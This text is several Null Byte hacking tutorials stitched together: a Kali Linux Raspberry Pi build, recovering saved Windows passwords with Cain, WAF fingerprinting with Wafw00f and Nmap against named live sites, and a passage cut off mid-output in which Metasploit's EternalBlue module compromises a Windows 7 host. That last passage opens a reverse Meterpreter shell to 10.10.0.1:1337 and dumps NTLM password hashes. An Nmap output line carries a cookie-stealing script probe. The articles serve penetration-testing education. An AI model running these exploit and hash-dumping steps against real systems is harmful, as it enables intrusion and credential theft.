PiMakerfire 7" LCD screenRii mini wireless keyboard and mousePNY battery packMicroSD card12V 2A DC power adapter (the power supply for the screen came from a old Netgear Router box I had never used)HDMI cable (excluded from this picture, as that is essentially a household item these days)To make this project even cheaper, you could swap out the Raspberry Pi for a $5Raspberry Pi Zero, or even the newCHIPby Next Thing Co. for $9, which drastically drops the price point down.Of the non-electrical components, all we need is Velcro, tape, and the lunchbox to house everything, as shown below. (Side note: I later added a 3D printed case for the Pi as it helps in the placement of the Pi within the lunchbox.)Step 2: Preparing the Raspberry PiTo create the perfect hacking Pi Box, we should get the perfect hacking OS onto our SD card. Kali Linux has all of the programs and tools we need and more to make the Raspberry Pi an effective hacking tool.To do that, we need to download the Kali Linux image for our Raspberry Pi fromhere. After downloading the file, unzip it using Win32 Disk Imager, 7Zip, or any other unzipping utility. Following the stepshereshould get us on the right track.Once the image is on the SD card, try it with the Pi and see if it boots up properly. If all goes well, continue to Step 3. If you still run into problems, try the step-by-step explanation that can be foundhere.Step 3: Putting It All TogetherOnce the Pi is ready with Kali Linux, it is time to put everything together. In my case, I structured it so that all but the battery pack was on the outside of the lunchbox, as seen below. However, this project can be completely different and unique to your liking. You may notice I added a 3D printed case for the Raspberry Pi. This allows me to easily pull the Pi and battery out without a struggle.The screen and screen controller are held together with strong tape. The keyboard is meant to be detachable so that it can be used effectively. It takes a few seconds to plug in all the cables and then the Pi Box boots up. Putting everything back together takes the same amount of time and everything can fit inside the lunchbox.Step 4: Working with Kali on the PiOnce everything is plugged in and it all functions correctly, you can then start working with the Pi Box. By default, an SSH server should be enabled on the Raspberry Pi with Kali Linux. From another PC or smartphone using an SSH client like Putty (Windows) or just the terminal in Linux, you should be able to login with the default username and password (root, toor) and begin to remotely use the Pi Box.You can go further along to install any other program that you need to perform a hack. Keep in mind the limitations of the hardware as the Pi Box can't run every program. I like to use the Pi Box as a simple testing device; I can perform some active recon using Nmap or crack some passwords with John, and even inspect some traffic using Wireshark. There are plenty of tools that you can use to make this a very useful device.Here is a finished picture of the project with Kali Linux running:Booting Up the Pi Box featuring the removable keyboard and mouse:Step 5: Conclusion & RevisionsIn summary, this is a great project if you are interested in learning more about how the Raspberry Pi can be used as a hacking tool. It is also fun to build and can be useful as a testing device in your hacking lab.As I mentioned before, this project can be fully customized. All the parts can be switched out for cheaper or more expensive parts, depending on your preference.(At the moment, I realize that it is not fully portable if we were to use the screen, as it needs a power supply from a wall. However, with the addition of another power pack, this problem could be eliminated.)Thank You!Thanks for reading my first post. I hope you all found it interesting! Let me know if you have any questions, comments, or if I messed up on anything. Thank you once again, and happy hacking!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Smart Home Proof of Concept Uses a Raspberry Pi to Control Air Conditioner with HoloLensHow To:Boot Multiple Operating Systems on the Raspberry Pi with BerryBootHow To:Build a portable stink penHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)How To:Use the image editor Portable GIMPHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Never Lose a Stylus Again by Setting "Missing S Pen" Alerts on Your Samsung Galaxy Note 2 or Note 3How To:Make an Origami Vase, Pen Holder and Gift Box (3 Models in 1 Tutorial)How To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WHow To:Fix a Ninendo DS Lite that won't turn on or charge with a conductive penHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Build Your Own Internet Radio Player, AKA Pandora's BoxRaspberry Pi:Physical Backdoor Part 2How To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Enable Monitor Mode & Packet Injection on the Raspberry PiHow to Hack Like a Pro:Getting Started with MetasploitHow To:Build an Off-Grid Wi-Fi Voice Communication System with Android & Raspberry PiHow To:Lock Down Your DNS with a Pi-Hole to Avoid Trackers, Phishing Sites & MoreHow To:Set up an HF portable radio while hikingHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+Raspberry Pi:Hacking PlatformPost Pi Day Coding Project:Let's Uncover the Hidden Words in PiHow To:Make Yin-Yang Pillow BoxesNews:Happy Pi/Half-Tau Day!News:PigpensHow To:Your Guide to Lazy Baking, Part 1: How to Make Mini-Pies in Muffin TinsNews:Mini Pies in Muffin TinsTVs Are for Old People:A Guide to Handheld ConsolesNews:SOFTWARE HINTS, TIPS & TRICKS-"DITTO & DITTO PORTABLE"News:PEN Center USA Emerging Voices FellowshipsHow To:Make Yin-Yang Modular PolyhedraNews:Extra-Fine Pen Allows for LEGO Tattoo Magic |
How to Carve Saved Passwords Using Cain « Null Byte :: WonderHowTo | I'vepreviously mentionedhow saving browser passwords is a bad idea, but I never went into much detail as to why. Passwords that are saved in your browser can be carved out and stolen very easily. In fact, even passwords you save for instant messaging and Wi-Fi are vulnerable. Windows is very inefficient with the way it stores passwords—it doesn't store them in key-vaults, nor does it encrypt them. You're left with passwords residing in memory and filespace that's unencrypted.Linux trumps this by having password wallets, key-vaults, etc. It stores your passwords for programs and browsers in a small encrypted location on your hard drive, so they cannot be stolen. Now this isn't just Windows' fault—the programs themselves could store them in a more secure manner, but they choose not to (most of the time).In thisNull Byte, we're going to be using Cain & Abel to carve out saved browser passwords in a video. Watch the demo below, and scroll down for written instructions.Please enable JavaScript to watch this video.Go tooxiditand download Cain.Install Cain by clickingNext > Next > Next > Next > Finish > Install.With Cain open, in the toolbar click the "+" symbol to dump passwords from each category, and see which of your passwords have been saved and thus, revealed.Log in to a site that saves passwords.Expose them with Firefox's new built-in tool.STOP SAVING YOUR PASSWORDS.If you have a question, you can come toIRCand ask, I idle there 24/7.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImage viaHidden SabotageRelatedHack Like a Pro:How to Hack Remote Desktop Protocol (RDP) to Snatch the Sysadmin PasswordHack Like a Pro:How to Grab & Crack Encrypted Windows PasswordsHow To:Hack MD5 passwords with Cain and AbelHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:Hack MD5 passwordsHow To:Decode VNC passwords with CainHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)Hack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)News:Carvable Pumpkins Mod 1.7.10How To:Manage Stored Passwords So You Don't Get HackedHow To:Reveal Saved Website Passwords in Chrome and Firefox with This Simple Browser HackHow To:Create, AutoFill & Store Strong Passwords Automatically for Websites & Apps in iOS 12How To:Find Stored Usernames, Emails, & Passwords on SafariHow To:Protect Others from Accessing Saved Password on Google ChromeHow To:Use Your Saved Passwords from Google Chrome to Log into Android AppsNews:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Make Pumpkin Spicy SoupHow To:Use Your Saved Chrome Passwords to Log into Apps on Your GalaxyHow To:How Hackers Take Your Encrypted Passwords & Crack ThemHow To:Carve a Halloween Pumpkin or Jack-O-LanternHow To:Remove a Windows Password with a Linux Live CDHow To:Carve the Perfect Halloween PumpkinHow To:Carve a Turkey the Traditional WayNews:Zombies and Demons Carved Out of 1,818.5 lb PumpkinHow To:Reveal Saved Browser Passwords with JavaScript InjectionsNews:Best Hacking SoftwareHide Your Secrets:How to Password-Lock a Folder in Windows 7 with No Additional SoftwareHow To:Carve Fractals and Stars on PumpkinsHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingNews:Ron Paul 2012 Wins Majority Of Washington Delegates To Convention, Other StateNews:Wild Turkey Presents the "Ultimate Turkey Carving Kit"Social Engineering, Part 2:Hacking a Friend's Facebook PasswordMastering Security, Part 1:How to Manage and Create Strong PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Hack Mac OS X Lion PasswordsHow To:Sneak into Your Roommate's Computer by Bypassing the Windows Login ScreenHow To:Carve Polyhedral PumpkinsHow To:Advanced Social Engineering, Part 2: Hack Google Accounts with a Google Translator Exploit |
How to Identify Web Application Firewalls with Wafw00f & Nmap « Null Byte :: WonderHowTo | Web application firewalls are one of the strongest defenses a web app has, but they can be vulnerable if the firewall version used is known to an attacker. Understanding which firewall a target is using can be the first step to a hacker discovering how to get past it — and what defenses are in place on a target. And the tools Wafw00f and Nmap make fingerprinting firewalls easy.While most web app firewalls, or WAFs, are pretty good at defending the services they protect, they occasionally become vulnerable when an exploitable flaw is discovered. If a firewall hasn't been updated in quite some time, it can be easy to figure out the rules of a firewall and work around them to establish a foothold inside. Manually doing this is incredibly tedious and relies on interpreting the distinctive ways that the WAF responds to specific web requests.Don't Miss:Research People & Orgs Using the Operative FrameworkWafw00f for WAF DetectionWafw00f is a popular Python program that takes the guesswork of fingerprinting a website's firewall off your hands. Based on the responses to a series of carefully crafted web requests, Wafw00f can determine the underlying firewall used by a service that it probes. The list of WAFs that Wafw00f is capable of detecting is impressive and includes the following, among an ever-growing list:aeSecure (aeSecure)
Airlock (Phion/Ergon)
Alert Logic (Alert Logic)
AliYunDun (Alibaba Cloud Computing)
Anquanbao (Anquanbao)
AnYu (AnYu Technologies)
Approach (Approach)
Armor Defense (Armor)
ASP.NET Generic Protection (Microsoft)
Astra Web Protection (Czar Securities)
AWS Elastic Load Balancer (Amazon)
Yunjiasu (Baidu Cloud Computing)
Barikode (Ethic Ninja)
Barracuda Application Firewall (Barracuda Networks)
Bekchy (Faydata Technologies Inc.)
BinarySec (BinarySec)
BitNinja (BitNinja)
BlockDoS (BlockDoS)
Bluedon (Bluedon IST)
CacheWall (Varnish)
CdnNS Application Gateway (CdnNs/WdidcNet)
WP Cerber Security (Cerber Tech)
ChinaCache CDN Load Balancer (ChinaCache)
Chuang Yu Shield (Yunaq)
ACE XML Gateway (Cisco)
Cloudbric (Penta Security)
Cloudflare (Cloudflare Inc.)
Cloudfront (Amazon)
Comodo cWatch (Comodo CyberSecurity)
CrawlProtect (Jean-Denis Brun)
DenyALL (Rohde & Schwarz CyberSecurity)
Distil (Distil Networks)
DOSarrest (DOSarrest Internet Security)
DotDefender (Applicure Technologies)
DynamicWeb Injection Check (DynamicWeb)
Edgecast (Verizon Digital Media)
Expression Engine (EllisLab)
BIG-IP Access Policy Manager (F5 Networks)
BIG-IP Application Security Manager (F5 Networks)
BIG-IP Local Traffic Manager (F5 Networks)
FirePass (F5 Networks)
Trafficshield (F5 Networks)
FortiWeb (Fortinet)
GoDaddy Website Protection (GoDaddy)
Greywizard (Grey Wizard)
HyperGuard (Art of Defense)
DataPower (IBM)
Imunify360 (CloudLinux)
Incapsula (Imperva Inc.)
Instart DX (Instart Logic)
ISA Server (Microsoft)
Janusec Application Gateway (Janusec)
Jiasule (Jiasule)
KS-WAF (KnownSec)
Kona Site Defender (Akamai)
LiteSpeed Firewall (LiteSpeed Technologies)
Malcare (Inactiv)
Mission Control Application Shield (Mission Control)
ModSecurity (SpiderLabs)
NAXSI (NBS Systems)
Nemesida (PentestIt)
NetContinuum (Barracuda Networks)
NetScaler AppFirewall (Citrix Systems)
NevisProxy (AdNovum)
Newdefend (NewDefend)
NexusGuard Firewall (NexusGuard)
NinjaFirewall (NinTechNet)
NSFocus (NSFocus Global Inc.)
OnMessage Shield (BlackBaud)
Open-Resty Lua Nginx WAF
Palo Alto Next Gen Firewall (Palo Alto Networks)
PerimeterX (PerimeterX)
pkSecurity Intrusion Detection System
PowerCDN (PowerCDN)
Profense (ArmorLogic)
AppWall (Radware)
Reblaze (Reblaze)
RSFirewall (RSJoomla!)
ASP.NET RequestValidationMode (Microsoft)
Sabre Firewall (Sabre)
Safe3 Web Firewall (Safe3)
Safedog (SafeDog)
Safeline (Chaitin Tech.)
SecuPress WordPress Security (SecuPress)
Secure Entry (United Security Providers)
eEye SecureIIS (BeyondTrust)
SecureSphere (Imperva Inc.)
SEnginx (Neusoft)
Shield Security (One Dollar Plugin)
SiteGround (SiteGround)
SiteGuard (Sakura Inc.)
Sitelock (TrueShield)
SonicWall (Dell)
UTM Web Protection (Sophos)
Squarespace (Squarespace)
StackPath (StackPath)
Sucuri CloudProxy (Sucuri Inc.)
Tencent Cloud Firewall (Tencent Technologies)
Teros (Citrix Systems)
TransIP Web Firewall (TransIP)
URLMaster SecurityCheck (iFinity/DotNetNuke)
URLScan (Microsoft)
Varnish (OWASP)
VirusDie (VirusDie LLC)
Wallarm (Wallarm Inc.)
WatchGuard (WatchGuard Technologies)
WebARX (WebARX Security Solutions)
WebKnight (AQTRONIX)
WebSEAL (IBM)
WebTotem (WebTotem)
West263 Content Delivery Network
Wordfence (Feedjit)
WTS-WAF (WTS)
360WangZhanBao (360 Technologies)
XLabs Security WAF (XLabs)
Xuanwudun
Yundun (Yundun)
Yunsuo (Yunsuo)
Zenedge (Zenedge)
ZScaler (Accenture)Wafw00f comes pre-installed in Kali Linux, but also can be easily installed on any system with Python. Although some of the same functions can be done with Nmap scripts, Wafw00f consistently gave more complete and accurate results during testing.Tried & True: Nmap Scripts for WAF FootprintingNmap is easy to install and use, and comes preinstalled with scripts that are useful for learning more about the WAF your target is behind. The two scripts Nmap offers are like Wafw00f split into two: one for detection and one for fingerprinting the WAF. These scripts are adequate but not always as accurate or capable of detecting a WAF as Wafw00f is, and you may find yourself surprised when it's unable to identify the type of firewall on a service that clearly has one.Don't Miss:Conduct OSINT Recon on a Target Domain with Raccoon ScannerDespite the shortcoming, the benefit of Nmap scanning for WAFs is that it can be easily included in other scans that are being done to establish a target surface, making it easier for a hacker to script this kind of detection with their regular recon routine. Increasingly, other hacking tools are using an Nmap scan with WAF detection to serve as a quick and easy method of providing WAF detection in a module for a more powerful tool.What You'll NeedTo run these tools, I recommend you have a Linux system like Kali or Ubuntu, although macOS works just fine. I haven't tested it on Windows, but it should work provided you have Nmap and Python installed. Either way you go, you'll also need an internet connection to scan targets. You don't need to worry about scanning most targets online, as this type of recon shouldn't raise too many red flags.Step 1: Install Wafw00fTo install Wafw00f, you'll need to have Python already installed and updated on your system. If you're good there, open a terminal window and type the following to download the GitHub repository.~# git clone https://github.com/EnableSecurity/wafw00f.git
Cloning into 'wafw00f'...
remote: Enumerating objects: 172, done.
remote: Counting objects: 100% (172/172), done.
remote: Compressing objects: 100% (98/98), done.
remote: Total 3689 (delta 120), reused 113 (delta 74), pack-reused 3517
Receiving objects: 100% (3689/3689), 545.81 KiB | 3.17 MiB/s, done.
Resolving deltas: 100% (2655/2655), done.Next, navigate to the folder you just downloaded, and install the script with the following commands.~# cd wafw00f
~/wafw00f# python setup.py install
running install
running bdist_egg
running egg_info
creating wafw00f.egg-info
writing requirements to wafw00f.egg-info/requires.txt
writing wafw00f.egg-info/PKG-INFO
writing top-level names to wafw00f.egg-info/top_level.txt
writing dependency_links to wafw00f.egg-info/dependency_links.txt
writing manifest file 'wafw00f.egg-info/SOURCES.txt'
reading manifest file 'wafw00f.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
writing manifest file 'wafw00f.egg-info/SOURCES.txt'
installing library code to build/bdist.linux-x86_64/egg
running install_lib
running build_py
creating build
creating build/lib.linux-x86_64-2.7
creating build/lib.linux-x86_64-2.7/wafw00f
copying wafw00f/__init__.py -> build/lib.linux-x86_64-2.7/wafw00f
copying wafw00f/manager.py -> build/lib.linux-x86_64-2.7/wafw00f
copying wafw00f/wafprio.py -> build/lib.linux-x86_64-2.7/wafw00f
copying wafw00f/main.py -> build/lib.linux-x86_64-2.7/wafw00f
creating build/lib.linux-x86_64-2.7/wafw00f/tests
copying wafw00f/tests/__init__.py -> build/lib.linux-x86_64-2.7/wafw00f/tests
copying wafw00f/tests/test_main.py -> build/lib.linux-x86_64-2.7/wafw00f/tests
creating build/lib.linux-x86_64-2.7/wafw00f/plugins
copying wafw00f/plugins/safe3.py -> build/lib.linux-x86_64-2.7/wafw00f/plugins
copying wafw00f/plugins/nevisproxy.py -> build/lib.linux-x86_64-2.7/wafw00f/plugins
copying wafw00f/plugins/f5bigipasm.py -> build/lib.linux-x86_64-2.7/wafw00f/plugins
copying wafw00f/plugins/missioncontrol.py -> build/lib.linux-x86_64-2.7/wafw00f/plugins
copying wafw00f/plugins/instartdx.py -> build/lib.linux-x86_64-2.7/wafw00f/plugins
...
Installed /usr/local/lib/python2.7/dist-packages/pluginbase-1.0.0-py2.7.egg
Searching for html5lib==1.0.1
Best match: html5lib 1.0.1
Adding html5lib 1.0.1 to easy-install.pth file
Using /usr/lib/python2.7/dist-packages
Finished processing dependencies for wafw00f==1.0.0Those should install everything you need to run the program. Now, when you want to run it, you can just typewafw00finto a terminal window. To see the help menu, we can run it with the-hflag.~# wafw00f -h
______
/ \
( Woof! )
\______/ )
,, ) (_
.-. - _______ ( |__|
()``; |==|_______) .)|__|
/ (' /|\ ( |__|
( / ) / | \ . |__|
\(_)_)) / | \ |__|
WAFW00F - Web Application Firewall Detection Tool
Usage: wafw00f url1 [url2 [url3 ... ]]
example: wafw00f http://www.victim.org/
Options:
-h, --help show this help message and exit
-v, --verbose enable verbosity - multiple -v options increase
verbosity
-a, --findall Find all WAFs, do not stop testing on the first one
-r, --disableredirect
Do not follow redirections given by 3xx responses
-t TEST, --test=TEST Test for one specific WAF
-l, --list List all WAFs that we are able to detect
-p PROXY, --proxy=PROXY
Use an HTTP proxy to perform requests, example:
http://hostname:8080, socks5://hostname:1080
-V, --version Print out the version
-H HEADERSFILE, --headersfile=HEADERSFILE
Pass custom headers, for example to overwrite the
default User-Agent stringAs you can see, there are some useful settings we can adjust to continue scanning for additional firewalls after we find the first positive result.Step 2: Scan an External Web ApplicationNow, let's use Wafw00f to scan a web application and see if we can get a positive result. First up, everyone's favorite company that loses American's personal data, Equifax. We'll be testing its "equifaxsecurity2017.com" page that was set up in the wake of losing everyone's credit information.Don't Miss:Scrape Target Email Addresses with TheHarvesterTo identify the web app running on the site, we can use the following command.~# wafw00f https://equifaxsecurity2017.com
______
/ \
( Woof! )
\______/ )
,, ) (_
.-. - _______ ( |__|
()``; |==|_______) .)|__|
/ (' /|\ ( |__|
( / ) / | \ . |__|
\(_)_)) / | \ |__|
WAFW00F - Web Application Firewall Detection Tool
Checking https://equifaxsecurity2017.com
The site https://equifaxsecurity2017.com is behind BIG-IP Application Security Manager (F5 Networks) WAF.
Number of requests: 5We've identified our first firewall! It may seem easy, but sometimes beginners will get confused when they see a result like below.~# wafw00f equifaxsecurity2017.com
______
/ \
( Woof! )
\______/ )
,, ) (_
.-. - _______ ( |__|
()``; |==|_______) .)|__|
/ (' /|\ ( |__|
( / ) / | \ . |__|
\(_)_)) / | \ |__|
WAFW00F - Web Application Firewall Detection Tool
Checking http://equifaxsecurity2017.com
Generic Detection results:
No WAF detected by the generic detection
Number of requests: 7So what is the difference? When we go toequifaxsecurity2017.com, we are redirected to the HTTPS version immediately. The first command is targeted at the HTTPS version, which actually has content and a firewall, while the second command is targeting the HTTP version of the same site.If you get no result, it could be because the website you're targeting is redirecting to another URL. Try copying and pasting in the URL you are directed to in a browser for a more accurate result.Step 3: Scan a Target with Nmap ScriptsNmap also comes preinstalled on Kali Linux, and it contains scripts to attempt the same kind of detection. We'll be trying out two different scripts:http-waf-fingerprintandhttp-waf-detect. While the point of both scripts is similar, they work in slightly different ways and can be effective against different targets.First up, we'll usehttp-waf-fingerprinton the same target we did before.~# nmap -p 80,443 --script=http-waf-detect equifaxsecurity2017.com
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-28 00:37 PDT
Nmap scan report for equifaxsecurity2017.com (107.162.143.246)
Host is up (0.034s latency).
PORT STATE SERVICE
80/tcp open http
443/tcp open https
| http-waf-detect: IDS/IPS/WAF detected:
|_equifaxsecurity2017.com:443/?p4yl04d3=<script>alert(document.cookie)</script>
Nmap done: 1 IP address (1 host up) scanned in 7.90 secondsThe scan determines that there is, in fact, a firewall here, but it isn't able to tell us much about it. In fact, Nmap doesn't seem to be great at detecting this kind of firewall. If we run it against another example domain, we can see what a positive result looks like.~# nmap -p 80,443 --script=http-waf-fingerprint noodle.com
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-28 00:39 PDT
Nmap scan report for noodle.com (104.20.160.41)
Host is up (0.021s latency).
Other addresses for noodle.com (not scanned): 104.20.161.41 2606:4700:10::6814:a029 2606:4700:10::6814:a129
PORT STATE SERVICE
80/tcp open http
| http-waf-fingerprint:
| Detected WAF
|_ Cloudflare
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 3.10 secondsWhile Nmap can't detect everything that Wafw00f can, it's a great way to quickly identify the first line of defense a targeted web server is behind.Wafw00f & Nmap Make Discovering WAF's EasyOnce a hacker knows what kind of firewall the target is behind, there are several ways they can proceed. The first is to learn the rules the firewall is working with and look for any behaviors that might be exploitable based on the way that specific software works.The next priority is to check to see if any vulnerabilities exist in recent versions of the WAF that is detected, or if the WAF hasn't been updated for a long period of time. Either of these discoveries could be the weakest link of an organization's security and an easy way in for a hacker, so it's always worth running another Nmap scan or downloading Wafw00f to check for an out-of-date firewall. If you run a service that uses a WAF, it's a good idea to keep this updated, as searching for outdated firewalls can now be largely automated.I hope you enjoyed this guide to using Wafw00f to identify web application firewalls! If you have any questions about this tutorial on WAF discovery, leave a comment below, and feel free to reach me on Twitter@KodyKinzie.Don't Miss:Advice from a hacker: How to Protect Yourself from Being HackedWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by Kody/Null ByteRelatedAdvanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Hack Apache Tomcat via Malicious WAR File UploadHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:Advanced Nmap for ReconnaissanceHow To:Tactical Nmap for Beginner Network ReconnaissanceHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHow To:Port scan with NmapZanti:NmapHow To:Easily Detect CVEs with Nmap ScriptsHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Design a Mobile ApplicationHow To:Evade school firewall, secure traffic tunneling & moreHacking macOS:How to Bypass the LuLu Firewall with Google Chrome DependenciesHow To:Use a Firewall to Control Web Access for Apps & Stay Private on Your Nexus 7How To:Get Started Writing Your Own NSE Scripts for NmapHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Protect Your Mac & Linux Computers from Hacks by Creating an iptables FirewallHow To:Use the Nmap security toolWindows Security:Software LevelHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateNews:SENDtoREADER app |
How to Use John the Ripper in Metasploit to Quickly Crack Windows Hashes « Null Byte :: WonderHowTo | There are many password-cracking tools out there, but one of the mainstays has always been John the Ripper. It's a powerful piece of software that can be configured and used in many different ways.Metasploitactually contains a little-known module version of JTR that can be used to quickly crack weak passwords, so let's explore it in an attempt to save precious time and effort.We will be using an unpatched versionWindows 7as the target, so if you have a copy lying around, feel free to use it. The method of exploitation doesn't matter so much here, as long as you can get a Meterpreter session on the target. TheJohn the Rippermodule should work onany version of Windowswe can grab the hashes from. In this tutorial, we will obtain the hash of an additional user that has logged onto the system (admin2).Don't Miss:Get Root with Metasploit's Local Exploit SuggesterStep 1: Compromise the PCTo begin, we will need to compromise the target and get aMeterpretersession. Since we know the target is running an unpatched version of Windows 7, we canuse EternalBlue to quickly exploitthe system from ourKali box.We will needMetasploit's built-in databaseup and running for the John the Ripper module to work later, so start it with the following command:~# service postgresql startThen, fire upMetasploitby typingmsfconsolein theterminal:~# msfconsole
[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***
. .
.
dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP
.
.
o To boldly go where no
shell has gone before
=[ metasploit v5.0.20-dev ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]
msf5 >Next, load the EternalBlue exploit module with theusecommand:msf5 > use exploit/windows/smb/ms17_010_eternalblueSet the appropriate options, and typerunto launch:msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.0.1:1337
[+] 10.10.0.104:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1337 -> 10.10.0.104:49212) at 2019-06-27 11:56:09 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >We now have a working Meterpreter session on the target.Step 2: Grab Some HashesThe next thing we need to do isobtain the hashesof any users on the system. Meterpreter has an awesome feature calledhashdumpthat will automatically dump the hashes for us:meterpreter > hashdump
admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7:::
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Unfortunately, all this does is display them on-screen. We need to save these to the database so the JTR module can work its magic. First, background the current session:meterpreter > background
[*] Backgrounding session 1...Then, we can use the hashdump post module to grab the hashes from our target. Load it with theusecommand:msf5 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/hashdumpMetasploit post moduleswork by running on an existing session, which is why we need to background the session in the first place. We can typeoptionsto display the settings for the module:msf5 post(windows/gather/hashdump) > options
Module options (post/windows/gather/hashdump):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session to run this module on.All we need to do is specify the session number we want to run this on. Use thesetcommand to set the session to 1 (or whatever session number that is running in the background):msf5 post(windows/gather/hashdump) > set session 1
session => 1Now, simply type run and the module will gather the hashes:msf5 post(windows/gather/hashdump) > run
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 1c8cfe9e1146578ee29d759b84a0ab70...
